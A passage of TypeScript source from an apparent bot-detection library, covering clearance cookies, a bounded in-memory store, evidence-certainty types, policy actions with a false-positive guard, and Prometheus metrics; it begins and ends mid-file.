\"Lax\",\n secure: this.options.cookieSecure ?? true,\n httpOnly: true,\n path: \"/\",\n });\n }\n\n /** Reads and validates the clearance cookie for an actor. Returns `undefined` if there is none valid. */\n read(actorKey: string, cookies: Record<string, string> | undefined): ClearanceClaims | undefined {\n const token = cookies?.[this.cookieName];\n if (token === undefined) return undefined;\n const verified = verifyToken<ClearanceClaims>(token, this.secrets, this.clock.now(), this.subjectsFor(actorKey));\n return verified.ok ? verified.payload : undefined;\n }\n\n /** A `Set-Cookie` that removes any clearance. Call it on logout. */\n revoke(): string {\n return serializeCookie(this.cookieName, \"\", {\n maxAgeMs: 0,\n sameSite: this.options.cookieSameSite ?? \"Lax\",\n secure: this.options.cookieSecure ?? true,\n httpOnly: true,\n path: \"/\",\n });\n }\n}\n","/**\n * Minimal typed event emitter.\n *\n * Not `node:events`: listeners here are isolated so that one badly-written\n * subscriber cannot take down request handling. A throwing listener is reported to\n * `onError` and the remaining listeners still run — the same isolation guarantee the\n * detector pipeline gives.\n */\nexport type Listener<T> = (payload: T) => void;\n\nexport class Emitter<Events extends Record<string, unknown>> {\n private readonly listeners = new Map<keyof Events, Set<Listener<never>>>();\n\n constructor(private readonly onError: (error: unknown, event: string) => void = () => {}) {}\n\n on<K extends keyof Events & string>(event: K, listener: Listener<Events[K]>): () => void {\n let set = this.listeners.get(event);\n if (!set) {\n set = new Set();\n this.listeners.set(event, set);\n }\n set.add(listener as Listener<never>);\n return () => {\n set.delete(listener as Listener<never>);\n };\n }\n\n off<K extends keyof Events & string>(event: K, listener: Listener<Events[K]>): void {\n this.listeners.get(event)?.delete(listener as Listener<never>);\n }\n\n emit<K extends keyof Events & string>(event: K, payload: Events[K]): void {\n const set = this.listeners.get(event);\n if (!set || set.size === 0) return;\n for (const listener of set) {\n try {\n (listener as Listener<Events[K]>)(payload);\n } catch (error) {\n this.onError(error, event);\n }\n }\n }\n\n removeAll(): void {\n this.listeners.clear();\n }\n}\n","import { TtlLru } from \"../internal/lru.js\";\nimport { systemClock } from \"../internal/clock.js\";\nimport type { Clock } from \"../internal/clock.js\";\nimport type { BotHandlerStore } from \"./types.js\";\n\nexport interface MemoryStoreOptions {\n /** Maximum distinct counter keys held. Default 100000. */\n maxCounters?: number;\n /** Maximum single-use token keys held. Default 100000. */\n maxTokens?: number;\n /** Maximum general key/value entries held. Default 20000. */\n maxValues?: number;\n clock?: Clock;\n}\n\n/**\n * In-process store. The default, and correct for a single instance.\n *\n * Every structure is a bounded LRU, so this cannot be grown without limit by a\n * client sending unbounded distinct keys. That bounding has a consequence worth\n * knowing: under heavy key churn an old single-use token can be evicted before it\n * expires, and a replay of *that* token would then succeed. If replay resistance\n * matters to you — and on more than one replica it definitely does — use\n * {@link RedisStore}.\n */\nexport class MemoryStore implements BotHandlerStore {\n private readonly counters: TtlLru<{ count: number }>;\n private readonly tokens: TtlLru<{ expiresAt: number }>;\n private readonly values: TtlLru<{ value: string; expiresAt: number }>;\n private readonly clock: Clock;\n\n constructor(options: MemoryStoreOptions = {}) {\n this.clock = options.clock ?? systemClock;\n // The LRU's own TTL is a ceiling; per-entry windows are enforced by the stored\n // expiry, so one instance can serve several different window lengths.\n this.counters = new TtlLru(options.maxCounters ?? 100_000, 3_600_000, this.clock);\n this.tokens = new TtlLru(options.maxTokens ?? 100_000, 86_400_000, this.clock);\n this.values = new TtlLru(options.maxValues ?? 20_000, 86_400_000, this.clock);\n }\n\n async increment(key: string, windowMs: number): Promise<number> {\n const now = this.clock.now();\n const bucket = Math.floor(now / windowMs);\n // Bucketing into the key gives a fixed window with no separate expiry\n // bookkeeping: the previous window's key is simply never touched again.\n const bucketKey = `${key}:${bucket}`;\n const entry = this.counters.get(bucketKey) ?? { count: 0 };\n entry.count++;\n this.counters.set(bucketKey, entry);\n return entry.count;\n }\n\n async consumeOnce(key: string, ttlMs: number): Promise<boolean> {\n const now = this.clock.now();\n const claimed = this.tokens.get(key);\n // The caller's window is honoured rather than discarded in favour of the LRU's\n // own. Ignoring it meant a claim was remembered for a flat hour whatever was\n // asked for: wasteful for the two-minute default, and quietly wrong for anyone\n // configuring a longer challenge lifetime, whose solutions became replayable an\n // hour in while the challenge that produced them was still valid.\n if (claimed !== undefined && claimed.expiresAt > now) return false;\n this.tokens.set(key, { expiresAt: now + ttlMs });\n return true;\n }\n\n async get(key: string): Promise<string | undefined> {\n const entry = this.values.get(key);\n if (!entry) return undefined;\n if (entry.expiresAt <= this.clock.now()) {\n this.values.delete(key);\n return undefined;\n }\n return entry.value;\n }\n\n async set(key: string, value: string, ttlMs: number): Promise<void> {\n this.values.set(key, { value, expiresAt: this.clock.now() + ttlMs });\n }\n\n async delete(key: string): Promise<void> {\n this.values.delete(key);\n }\n}\n","/**\n * Core vocabulary. Everything else in the library is written against these types.\n *\n * The single most important idea here is the split between **proof** and\n * **suspicion**, expressed as {@link Certainty}. It is what lets the engine offer a\n * real no-false-positive guarantee on its blocking path without pretending that bot\n * detection is a solved problem: probabilistic signals exist, they are useful, and\n * they are structurally barred from reaching a terminal action.\n */\n\n/** What kind of client we believe we are talking to. */\nexport type BotClass =\n /** Positive evidence of a person driving a real browser. */\n | \"human\"\n /** A crawler whose *identity* was confirmed, not merely claimed. See `verified-crawler`. */\n | \"verified-bot\"\n /** Announces itself as a bot in its User-Agent and does not pretend otherwise. */\n | \"declared-bot\"\n /** A real browser engine driven by automation (Puppeteer, Playwright, Selenium). */\n | \"automation\"\n /** A bare HTTP library or CLI: curl, wget, requests, axios, Go's http client. */\n | \"http-client\"\n /** Security/vulnerability scanning and fuzzing tooling. */\n | \"scanner\"\n /** Behaves like bulk content extraction regardless of what it claims to be. */\n | \"scraper\"\n /**\n * Claims an identity it provably does not have — a forged `Googlebot`, a\n * `Sec-CH-UA` that contradicts its own User-Agent. The most actionable class we\n * produce, because the contradiction is self-evident from the request.\n */\n | \"impersonator\"\n /** Nothing pointed either way with enough weight to name a class. */\n | \"unknown\";\n\n/**\n * How much a piece of evidence is worth — and, critically, whether it is allowed to\n * get a request blocked.\n *\n * - `certain` — **deterministic**. The request is self-contradictory, self-declaring,\n * or its identity was verified against an authority outside the request itself.\n * No legitimate human client produces it. Only this tier may drive a terminal\n * action under the default policy, and every `certain` evidence must carry a\n * `deterministicBasis` explaining why it cannot be wrong.\n * - `strong` / `moderate` / `weak` — **probabilistic**. Real signals, genuinely\n * useful in aggregate, but each has a population of legitimate clients that trips\n * it: privacy browsers, corporate proxies, accessibility tooling, someone on a\n * train tunnel. These accumulate into a score and can drive a challenge, a tag, or\n * an alert. They cannot, by default, drive a block.\n */\nexport type Certainty = \"certain\" | \"strong\" | \"moderate\" | \"weak\";\n\n/** Which way a piece of evidence points. Human evidence actively rebuts bot evidence. */\nexport type EvidenceDirection = \"bot\" | \"human\";\n\n/** One observation from one detector. Detectors return these; they never return verdicts. */\nexport interface Evidence {\n /** Id of the detector that produced this. */\n detector: string;\n /** Human-readable, log-safe explanation of what was observed. */\n summary: string;\n direction: EvidenceDirection;\n certainty: Certainty;\n /**\n * Contribution to the suspicion score, 0–1. Defaults to the weight implied by\n * `certainty` ({@link CERTAINTY_WEIGHT}); override only to express that a signal is\n * unusually weak or strong *for its tier*.\n */\n weight?: number | undefined;\n /**\n * A shared *root cause*, when this observation has one.\n *\n * Two pieces of evidence in the same family are not two reasons to be suspicious —\n * they are one circumstance seen twice. A corporate proxy that strips\n * `Sec-Fetch-*` also strips the Client Hints and the `Accept-Language`, and every\n * detector that reasons from absence then fires at once about a single person\n * behind a single appliance. Noisy-OR assumes independence; these are not\n * independent, and treating them as if they were is how an ordinary employee\n * accumulates a score of 95.\n *\n * {@link CERTAINTY_WEIGHT} scoring therefore takes the **strongest** observation in\n * each family rather than compounding them. Leave it undefined when a signal really\n * does stand on its own — every unfamilied piece of evidence is its own family, so\n * the default is the old behaviour.\n */\n family?: string | undefined;\n /** The class this evidence argues for, if it argues for one. */\n botClass?: BotClass | undefined;\n /** A concrete identity this evidence establishes or claims, e.g. `\"googlebot\"`. */\n identity?: string | undefined;\n /**\n * Required on `certain` evidence: why this observation admits no benign\n * explanation. Enforced at runtime in development (see {@link BotHandlerConfig.strictEvidence}).\n * Writing one is a useful forcing function — if you cannot, your evidence is `strong`.\n */\n deterministicBasis?: string | undefined;\n /** Structured detail for logs and dashboards. Must be JSON-serialisable. */\n metadata?: Record<string, unknown> | undefined;\n}\n\n/**\n * Every verdict and class, in a fixed order.\n *\n * Exported because three places need to enumerate them — the metrics counters, the\n * dashboard's rule editor, and anything generating documentation — and three hand-kept\n * copies is how a new verdict ends up missing from one of them.\n */\nexport const VERDICTS: readonly Verdict[] = [\"confirmed-bot\", \"verified-bot\", \"suspected-bot\", \"human\", \"unknown\"];\nexport const BOT_CLASSES: readonly BotClass[] = [\"human\", \"verified-bot\", \"declared-bot\", \"automation\", \"http-client\", \"scanner\", \"scraper\", \"impersonator\", \"unknown\"];\n\n/** Score contribution implied by each certainty tier. */\nexport const CERTAINTY_WEIGHT: Record<Certainty, number> = {\n // `certain` short-circuits scoring entirely; the 1 is here for completeness.\n certain: 1,\n strong: 0.6,\n moderate: 0.35,\n weak: 0.15,\n};\n\n/**\n * The engine's conclusion about a request.\n *\n * `confirmed-bot` and `verified-bot` are *proven*: they rest on at least one\n * `certain` evidence. `suspected-bot` is a judgement call from accumulated\n * probabilistic signal — treat it as \"worth a challenge\", never as \"worth a 403\".\n */\nexport type Verdict =\n /** Proven automated: self-declared, self-contradictory, or caught in a trap. */\n | \"confirmed-bot\"\n /** Proven automated *and* proven to be who it says it is — Googlebot, Bingbot. */\n | \"verified-bot\"\n /** Probabilistic. Enough signal to act gently; not enough to be sure. */\n | \"suspected-bot\"\n /** Positive evidence of a person (valid attestation, real interaction, clearance token). */\n | \"human\"\n /** Nothing conclusive either way. The default resting state of ordinary traffic. */\n | \"unknown\";\n\n/** A request reduced to exactly the facts detectors are allowed to see. */\nexport interface RequestFacts {\n /** Uppercase HTTP method. */\n method: string;\n /** Path only, no query string. Always begins with `/`. */\n path: string;\n /** Decoded query parameters. Null-prototype so `?__proto__=x` is visible, not swallowed. */\n query: Record<string, string>;\n /** Lowercased header names to values. Multi-value headers are joined with `, `. */\n headers: Record<string, string | undefined>;\n /**\n * Header names in the order the client actually sent them, lowercased. Browsers\n * emit a stable, engine-specific order; most tooling does not. Empty when the\n * transport does not expose ordering (HTTP/2 pseudo-headers, some proxies).\n */\n headerOrder: readonly string[];\n /** Resolved client IP. See {@link ProxyConfig} for how this is derived. */\n ip: string;\n /** Wall-clock arrival time, ms since epoch. Injected so tests can control it. */\n timestamp: number;\n /** Parsed request cookies, if the adapter supplied them. */\n cookies?: Record<string, string> | undefined;\n /** `https` when the connection is TLS-terminated at or before this server. */\n protocol?: \"http\" | \"https\" | undefined;\n /** Negotiated HTTP version, e.g. `\"1.1\"`, `\"2.0\"`. Used for header-order sanity. */\n httpVersion?: string | undefined;\n /**\n * TLS client fingerprint (JA3/JA4), if your edge computes one and forwards it.\n * Never computed here — Node does not expose the ClientHello.\n */\n tlsFingerprint?: string | undefined;\n /**\n * Set when the header set is known to be **incomplete** — the source could not\n * supply everything the client actually sent.\n *\n * This is a statement about the observer, not the client, and it changes what an\n * absent header means. Several detectors treat \"no `Accept-Language`\" as evidence,\n * which is sound for a live request and nonsense for a line of an access log that\n * only ever records two headers. With this set, every detector that reasons from\n * absence stands down; detectors that reason from what *is* present carry on.\n *\n * Adapters leave it unset. Set it yourself when replaying logs, reading from an\n * analytics pipeline, or on any transport that filters headers before you see them.\n */\n partialHeaders?: boolean | undefined;\n /** Opaque per-request extras an adapter or your own code attaches. */\n extra?: Record<string, unknown> | undefined;\n}\n\n/** What the engine knows about the actor behind a request, accumulated over time. */\nexport interface ActorSnapshot {\n /** Stable key this actor is tracked under. See {@link BotHandlerConfig.actorKey}. */\n key: string;\n /** Requests seen from this actor inside the behavioural window. */\n requests: number;\n /** Distinct paths seen inside the window — breadth of crawl. */\n distinctPaths: number;\n /** First and last sighting, ms since epoch. */\n firstSeen: number;\n lastSeen: number;\n /** Milliseconds since the previous request from this actor, or `undefined` if first. */\n sinceLastMs?: number | undefined;\n /** Assessments in the window that concluded `confirmed-bot`. */\n priorConfirmations: number;\n /**\n * Challenges issued to this actor that were never solved.\n *\n * Outstanding rather than cumulative: solving one clears the count. See\n * `MatchSpec.minUnsolvedChallenges` for the rule that reads it, and note that it is\n * deliberately **not** evidence — a person who gives up on a challenge is a person,\n * and what repeated abandonment means is a judgement about your traffic that only you\n * can make.\n */\n unsolvedChallenges: number;\n /** True when this actor holds a currently-valid human clearance token. */\n cleared: boolean;\n}\n\n/** The engine's full, explainable output for one request. */\nexport interface Assessment {\n /** Random per-request id, safe to log and to echo in a response header. */\n requestId: string;\n verdict: Verdict;\n botClass: BotClass;\n /** Established identity when there is one, e.g. `\"googlebot\"`. */\n identity?: string | undefined;\n /** Suspicion, 0–100. Derived only from probabilistic evidence. */\n score: number;\n /** How much to trust the verdict, 0–1. Exactly 1 when `certain` is true. */\n confidence: number;\n /**\n * True when at least one unrebutted `certain` evidence fired. This flag — not the\n * score — is what gates terminal actions in the default policy.\n */\n certain: boolean;\n /** Every bot-pointing observation, strongest first. */\n evidence: Evidence[];\n /** Every human-pointing observation. These rebut and dampen the score. */\n humanEvidence: Evidence[];\n actor: ActorSnapshot;\n /**\n * Set when detection was skipped rather than performed. `undefined` means every\n * configured detector actually ran, which is what distinguishes \"we looked and\n * found nothing\" from \"we never looked\" — a distinction that matters enormously\n * when reading a dashboard.\n */\n bypass?: BypassReason | undefined;\n /** Total time spent in detection, ms. */\n durationMs: number;\n /** Detectors that threw or timed out. Detection continues without them. */\n failures: DetectorFailure[];\n facts: RequestFacts;\n}\n\n/** Why an assessment skipped detection. */\nexport type BypassReason =\n /** The address matched the configured allowlist. */\n | \"allowlist\"\n /** The path matched `ignorePaths`. */\n | \"ignored-path\";\n\nexport interface DetectorFailure {\n detector: string;\n reason: \"error\" | \"timeout\";\n message: string;\n}\n\n/** JSON-serialisable value, for metadata and notification payloads. */\nexport type Json = string | number | boolean | null | Json[] | { [key: string]: Json };\n","import type { Assessment, BotClass, Verdict } from \"../types.js\";\nimport type { BotCategory } from \"../detectors/known-bots.js\";\n\n/**\n * What the engine does about an assessment.\n *\n * Ordered roughly by how much they cost a client that turns out to be a person:\n *\n * - `allow` — nothing at all. The verdict is still emitted for logging.\n * - `tag` — serve normally, attach headers describing the verdict so a downstream\n * service (your app, a cache, an edge worker) can decide for itself.\n * - `log` — serve normally and raise a notification. Costs the client nothing.\n * - `delay` — serve normally, but slowly. Invisible to a person, expensive at scale.\n * - `rate-limit` — serve until a threshold, then reject with `429` and `Retry-After`.\n * Recovers on its own.\n * - `challenge` — withhold the response until the client passes a check. Recoverable\n * by the client itself, which is what makes it the safe escalation. It does still\n * shut out anyone without JavaScript, so it is not free.\n * - `redirect` — send the client somewhere else.\n * - `block` — refuse, with a status and a body explaining it.\n * - `drop` — close the connection without a response.\n *\n * `redirect`, `block` and `drop` are **terminal**: the client is denied and cannot\n * recover on its own. Those are the three the safety guard governs.\n */\nexport type ActionName = \"allow\" | \"tag\" | \"log\" | \"delay\" | \"rate-limit\" | \"challenge\" | \"redirect\" | \"block\" | \"drop\" | \"custom\";\n\n/** Every action, ordered by how much it costs a client that turns out to be a person. */\nexport const ACTION_NAMES: readonly ActionName[] = [\"allow\", \"tag\", \"log\", \"delay\", \"rate-limit\", \"challenge\", \"redirect\", \"block\", \"drop\", \"custom\"];\n\n/** Actions a client cannot recover from by itself. The guard's whole concern. */\nexport const TERMINAL_ACTIONS: ReadonlySet<ActionName> = new Set<ActionName>([\"redirect\", \"block\", \"drop\"]);\n\nexport interface ActionParams {\n /** Status for `block`. Default 403. */\n status?: number | undefined;\n /** Response body for `block`. Defaults to a short plain-text explanation. */\n body?: string | undefined;\n contentType?: string | undefined;\n /** Target for `redirect`. Must be same-origin or an absolute URL you control. */\n location?: string | undefined;\n /** Milliseconds for `delay`. */\n delayMs?: number | undefined;\n /** Ceiling for `rate-limit`. */\n limit?: { max: number; windowMs: number } | undefined;\n /** Extra response headers, merged after the engine's own. */\n headers?: Record<string, string> | undefined;\n /** Handler id for `custom`. */\n handler?: string | undefined;\n}\n\nexport interface Decision {\n action: ActionName;\n /** Id of the rule that produced it, or `\"default\"`. */\n rule: string;\n /** Sentence explaining the choice, safe to log and to show an operator. */\n reason: string;\n params: ActionParams;\n /**\n * Set when the safety guard replaced a stronger action. Both the original and the\n * substitute are recorded, because a policy silently doing less than it says is\n * worse than one that refuses loudly.\n */\n downgradedFrom?: ActionName | undefined;\n /** Why the downgrade happened. */\n downgradeReason?: string | undefined;\n}\n\n/** Declarative matcher. Every field present must match; absent fields are ignored. */\nexport interface MatchSpec {\n verdict?: Verdict | readonly Verdict[];\n botClass?: BotClass | readonly BotClass[];\n /** Established or claimed identity, e.g. `\"googlebot\"`. */\n identity?: string | readonly string[];\n /** Category of the matched signature, e.g. `\"ai\"`, `\"seo\"`. */\n category?: BotCategory | readonly BotCategory[];\n /**\n * Require (or forbid) proven evidence.\n *\n * Note what this does *not* mean: `certain` is about the strength of the evidence,\n * not its direction, so `{ certain: true }` also matches a proven **human** — a\n * customer your application vouched for through `grantClearance`. A rule intended\n * for automation must say so, either by putting an allow rule for `verdict: \"human\"`\n * ahead of it or by naming the verdicts it means. Both shipped presets had this\n * wrong until the traffic corpus caught it.\n */\n certain?: boolean;\n minScore?: number;\n maxScore?: number;\n /** Request path. Strings match as a prefix; regexes are tested as written. */\n path?: string | RegExp | readonly (string | RegExp)[];\n method?: string | readonly string[];\n /** Fires when any evidence came from one of these detectors. */\n detector?: string | readonly string[];\n /** Fires only when the actor has been proven a bot at least this many times before. */\n minPriorConfirmations?: number;\n /**\n * Fires only when this actor has this many challenges outstanding — issued, and never\n * answered.\n *\n * A rule rather than evidence, and the difference is the point. Somebody who abandons\n * a challenge is somebody: a slow phone, a lost tab, a change of mind. It is only\n * *repetition* that means anything, and how much it means depends on traffic the\n * library cannot see — a checkout flow and a documentation site should read the same\n * number differently. So the engine counts, and your policy decides.\n *\n * Solving one clears the count, so this never accumulates against a person who came\n * back and proved it.\n *\n * ```ts\n * { id: \"persistent-refusers\", match: { minUnsolvedChallenges: 3 }, action: \"rate-limit\" }\n * ```\n */\n minUnsolvedChallenges?: number;\n}\n\nexport interface Rule {\n /** Stable id. Appears in every decision and log line this rule produces. */\n id: string;\n /** Declarative spec, or a predicate for anything the spec cannot express. */\n match: MatchSpec | ((assessment: Assessment) => boolean);\n action: ActionName;\n params?: ActionParams;\n /** Overrides the generated explanation. */\n reason?: string;\n}\n\n/**\n * How strictly the engine refuses to act on unproven evidence.\n *\n * - **`strict`** (default) — a terminal action requires `assessment.certain`. A rule\n * asking to block on a probabilistic verdict is downgraded to `fallbackAction` and\n * the substitution is recorded. This is the mode in which the library's central\n * claim holds: nothing is ever denied service on the strength of a guess.\n * - **`balanced`** — terminal actions additionally allowed when the score clears\n * `terminalScoreThreshold` **and** at least two independent `strong` signals fired.\n * Two independent strong signals is a much higher bar than a score alone, which any\n * number of weak correlated observations can reach. It is still, unambiguously, a\n * probabilistic decision — some real people will be caught.\n * - **`aggressive`** — rules run exactly as written. Choose this only with a way to\n * see who you turned away, and a way for them to reach you.\n */\nexport type FalsePositivePolicy = \"strict\" | \"balanced\" | \"aggressive\";\n\nexport interface PolicyOptions {\n /** Evaluated in order; the first match wins. */\n rules?: readonly Rule[];\n /** Used when no rule matches. Default `allow`. */\n defaultAction?: ActionName;\n defaultParams?: ActionParams;\n falsePositivePolicy?: FalsePositivePolicy;\n /**\n * Substituted when the guard blocks a terminal action. Default `challenge` if a\n * challenge is configured, otherwise `tag`.\n */\n fallbackAction?: ActionName;\n /** Score needed for a terminal action under `balanced`. Default 85. */\n terminalScoreThreshold?: number;\n /** Called whenever the guard downgrades, so a mismatch between intent and effect is visible. */\n onDowngrade?: ((decision: Decision, assessment: Assessment) => void) | undefined;\n}\n","import type { ActionName, Decision } from \"./policy/types.js\";\nimport type { Assessment, BotClass, BypassReason, Verdict } from \"./types.js\";\n\n/**\n * Counters for the things an operator needs to see.\n *\n * Always on, because the cost is a handful of integer increments and the alternative\n * — bot detection you cannot observe — is how a policy quietly starts turning people\n * away without anyone noticing. Everything here is a monotonic counter or a\n * histogram, so it survives being scraped at any interval and never needs locking.\n *\n * The two series worth alerting on are `downgrades` and `verdict{verdict=\"human\"}`.\n * A rising downgrade count means your rules are asking for terminal actions the\n * evidence does not support; a falling human count means something changed about\n * either your traffic or your detection, and you want to know which.\n */\n\nimport { BOT_CLASSES, VERDICTS } from \"./types.js\";\nimport { ACTION_NAMES as ACTIONS } from \"./policy/types.js\";\n\n/** Upper bounds in milliseconds. The last bucket is unbounded. */\nexport const DURATION_BUCKETS_MS: readonly number[] = [0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10, 25, 50, 100];\n\n/**\n * Upper bounds for the probabilistic score histogram.\n *\n * Ten buckets of ten points, which is the whole range: `combine()` caps a\n * probabilistic score at 99 and gives every proven assessment a flat 100, so nothing\n * ever lands past the last bound and there is no `+Inf` overflow to think about.\n * Proven requests are counted separately in {@link MetricsSnapshot.proven} rather than\n * piled into the top bucket — their score plays no part in any decision, and including\n * them would put a spike at the right-hand edge that means nothing.\n */\nexport const SCORE_BUCKETS: readonly number[] = [9, 19, 29, 39, 49, 59, 69, 79, 89, 99];\n\nexport interface MetricsSnapshot {\n /** Requests assessed, including those that bypassed detection. */\n requests: number;\n /** Requests that skipped detection, by reason. */\n bypassed: Record<BypassReason, number>;\n verdicts: Record<Verdict, number>;\n botClasses: Record<BotClass, number>;\n actions: Record<ActionName, number>;\n /** Terminal actions the safety guard replaced with something recoverable. */\n downgrades: number;\n /** Assessments resting on at least one piece of proven evidence. */\n proven: number;\n /** How often each detector produced evidence. */\n detectorFirings: Record<string, number>;\n /** How often each detector threw or timed out. */\n detectorFailures: Record<string, number>;\n /**\n * Time spent inside each detector, when `metrics.perDetectorTiming` is on.\n *\n * Empty otherwise, and empty is the default: timing every detector means two clock\n * reads per detector per request, which on a twenty-detector set is forty syscalls\n * or so on the hot path to measure work that is usually a few microseconds. Worth\n * paying while you tune; not worth paying forever.\n */\n detectorTimings: Record<string, { count: number; totalMs: number; maxMs: number }>;\n challenges: { issued: number; solved: number; rejected: number };\n /**\n * How suspicion is distributed across the traffic that was scored.\n *\n * The counters behind the one chart that answers \"how close does ordinary traffic\n * run to the line?\" — asked of the whole run rather than of the few hundred\n * requests a dashboard happens to still be holding. Certain assessments are\n * excluded; see {@link SCORE_BUCKETS}.\n */\n scores: {\n count: number;\n totalScore: number;\n /** Cumulative counts, aligned with {@link SCORE_BUCKETS}. Prometheus wants them that way. */\n buckets: number[];\n };\n duration: {\n count: number;\n totalMs: number;\n maxMs: number;\n /** Cumulative counts, aligned with {@link DURATION_BUCKETS_MS} plus a final `+Inf`. */\n buckets: number[];\n };\n /** Actors currently held in the registry. A gauge, not a counter. */\n actorsTracked: number;\n}\n\nfunction zeroed<K extends string>(keys: readonly K[]): Record<K, number> {\n const record = {} as Record<K, number>;\n for (const key of keys) record[key] = 0;\n return record;\n}\n\nexport interface MetricsOptions {\n /** Record per-detector durations. Off by default; see {@link MetricsSnapshot.detectorTimings}. */\n perDetectorTiming?: boolean;\n}\n\nexport class Metrics {\n /** Whether the engine should bother timing individual detectors. Read on the hot path. */\n readonly perDetectorTiming: boolean;\n\n private requests = 0;\n private readonly bypassed: Record<BypassReason, number> = { allowlist: 0, \"ignored-path\": 0 };\n private readonly verdicts = zeroed(VERDICTS);\n private readonly botClasses = zeroed(BOT_CLASSES);\n private readonly actions = zeroed(ACTIONS);\n private downgrades = 0;\n private proven = 0;\n private readonly detectorFirings = new Map<string, number>();\n private readonly detectorFailures = new Map<string, number>();\n private readonly detectorTimings = new Map<string, { count: number; totalMs: number; maxMs: number }>();\n private challengesIssued = 0;\n private challengesSolved = 0;\n private challengesRejected = 0;\n private scoreCount = 0;\n private scoreTotal = 0;\n private readonly scoreBuckets = new Float64Array(SCORE_BUCKETS.length);\n private durationCount = 0;\n private durationTotal = 0;\n private durationMax = 0;\n private readonly durationBuckets = new Float64Array(DURATION_BUCKETS_MS.length + 1);\n\n constructor(options: MetricsOptions = {}) {\n this.perDetectorTiming = options.perDetectorTiming === true;\n }\n\n recordAssessment(assessment: Assessment): void {\n this.requests++;\n if (assessment.bypass !== undefined) {\n this.bypassed[assessment.bypass]++;\n return;\n }\n\n this.verdicts[assessment.verdict]++;\n this.botClasses[assessment.botClass]++;\n if (assessment.certain) {\n this.proven++;\n } else {\n // Ten even buckets, so the arithmetic is a divide rather than the linear scan\n // the duration bounds need. `min` guards a score of 100 arriving from anywhere\n // other than the proven path.\n this.scoreCount++;\n this.scoreTotal += assessment.score;\n this.scoreBuckets[Math.min(SCORE_BUCKETS.length - 1, Math.max(0, Math.floor(assessment.score / 10)))]!++;\n }\n\n for (const item of assessment.evidence) bump(this.detectorFirings, item.detector);\n for (const item of assessment.humanEvidence) bump(this.detectorFirings, item.detector);\n for (const failure of assessment.failures) bump(this.detectorFailures, failure.detector);\n\n const ms = assessment.durationMs;\n this.durationCount++;\n this.durationTotal += ms;\n if (ms > this.durationMax) this.durationMax = ms;\n // Linear scan over eleven bounds beats a binary search at this size. The counts\n // are kept per bucket and made cumulative in `snapshot()`, where the Prometheus\n // rendering wants them.\n let bucket = DURATION_BUCKETS_MS.length;\n for (let i = 0; i < DURATION_BUCKETS_MS.length; i++) {\n if (ms <= DURATION_BUCKETS_MS[i]!) {\n bucket = i;\n break;\n }\n }\n this.durationBuckets[bucket]!++;\n }\n\n /** One detector's duration, in milliseconds. Called only when {@link perDetectorTiming} is on. */\n recordDetectorTiming(detector: string, ms: number): void {\n const existing = this.detectorTimings.get(detector);\n if (existing === undefined) {\n this.detectorTimings.set(detector, { count: 1, totalMs: ms, maxMs: ms });\n return;\n }\n existing.count++;\n existing.totalMs += ms;\n if (ms > existing.maxMs) existing.maxMs = ms;\n }\n\n recordDecision(decision: Decision): void {\n this.actions[decision.action]++;\n if (decision.downgradedFrom !== undefined) this.downgrades++;\n }\n\n recordChallenge(event: \"issued\" | \"solved\" | \"rejected\"): void {\n if (event === \"issued\") this.challengesIssued++;\n else if (event === \"solved\") this.challengesSolved++;\n else this.challengesRejected++;\n }\n\n snapshot(actorsTracked: number): MetricsSnapshot {\n return {\n requests: this.requests,\n bypassed: { ...this.bypassed },\n verdicts: { ...this.verdicts },\n botClasses: { ...this.botClasses },\n actions: { ...this.actions },\n downgrades: this.downgrades,\n proven: this.proven,\n detectorFirings: Object.fromEntries(this.detectorFirings),\n detectorFailures: Object.fromEntries(this.detectorFailures),\n detectorTimings: Object.fromEntries([...this.detectorTimings].map(([id, timing]) => [id, { ...timing }])),\n challenges: { issued: this.challengesIssued, solved: this.challengesSolved, rejected: this.challengesRejected },\n scores: { count: this.scoreCount, totalScore: this.scoreTotal, buckets: cumulate(this.scoreBuckets) },\n duration: { count: this.durationCount, totalMs: this.durationTotal, maxMs: this.durationMax, buckets: cumulate(this.durationBuckets) },\n actorsTracked,\n };\n }\n}\n\n/** Per-bucket counts to the running totals a Prometheus histogram is defined in terms of. */\nfunction cumulate(counts: Float64Array): number[] {\n const buckets: number[] = [];\n let running = 0;\n for (let i = 0; i < counts.length; i++) {\n running += counts[i]!;\n buckets.push(running);\n }\n return buckets;\n}\n\nfunction bump(counters: Map<string, number>, key: string): void {\n counters.set(key, (counters.get(key) ?? 0) + 1);\n}\n\nexport interface PrometheusOptions {\n /** Metric name prefix. Default `\"bothandler\"`. */\n prefix?: string;\n}\n\n/**\n * Renders a snapshot in the Prometheus text exposition format.\n *\n * Serve it from an endpoint your scraper can reach and nobody else can — the\n * detector-firing series describe how detection behaves, which is exactly what\n * someone tuning a scraper against you would like to read.\n */\nexport function toPrometheus(snapshot: MetricsSnapshot, options: PrometheusOptions = {}): string {\n const prefix = options.prefix ?? \"bothandler\";\n const lines: string[] = [];\n\n const counter = (name: string, help: string, samples: Array<[labels: string, value: number]>): void => {\n lines.push(`# HELP ${prefix}_${name} ${help}`, `# TYPE ${prefix}_${name} counter`);\n for (const [labels, value] of samples) lines.push(`${prefix}_${name}${labels} ${value}`);\n };\n\n counter(\"requests_total\", \"Requests assessed.\", [[\"\", snapshot.requests]]);\n counter(\"bypassed_total\", \"Requests that skipped detection entirely.\", Object.entries(snapshot.bypassed).map(([reason, value]) => [`{reason=\"${reason}\"}`, value]));\n counter(\"verdicts_total\", \"Assessments by verdict.\", Object.entries(snapshot.verdicts).map(([verdict, value]) => [`{verdict=\"${verdict}\"}`, value]));\n counter(\"bot_classes_total\", \"Assessments by bot class.\", Object.entries(snapshot.botClasses).map(([botClass, value]) => [`{class=\"${botClass}\"}`, value]));\n counter(\"actions_total\", \"Actions taken.\", Object.entries(snapshot.actions).map(([action, value]) => [`{action=\"${action}\"}`, value]));\n counter(\"downgrades_total\", \"Terminal actions the safety guard replaced for lack of proof.\", [[\"\", snapshot.downgrades]]);\n counter(\"proven_total\", \"Assessments resting on proven evidence.\", [[\"\", snapshot.proven]]);\n counter(\"detector_firings_total\", \"Evidence produced, by detector.\", Object.entries(snapshot.detectorFirings).map(([detector, value]) => [`{detector=\"${escapeLabel(detector)}\"}`, value]));\n counter(\"detector_failures_total\", \"Detector errors and timeouts.\", Object.entries(snapshot.detectorFailures).map(([detector, value]) => [`{detector=\"${escapeLabel(detector)}\"}`, value]));\n const timings = Object.entries(snapshot.detectorTimings);\n if (timings.length > 0) {\n counter(\"detector_duration_ms_sum\", \"Time spent inside each detector.\", timings.map(([detector, timing]) => 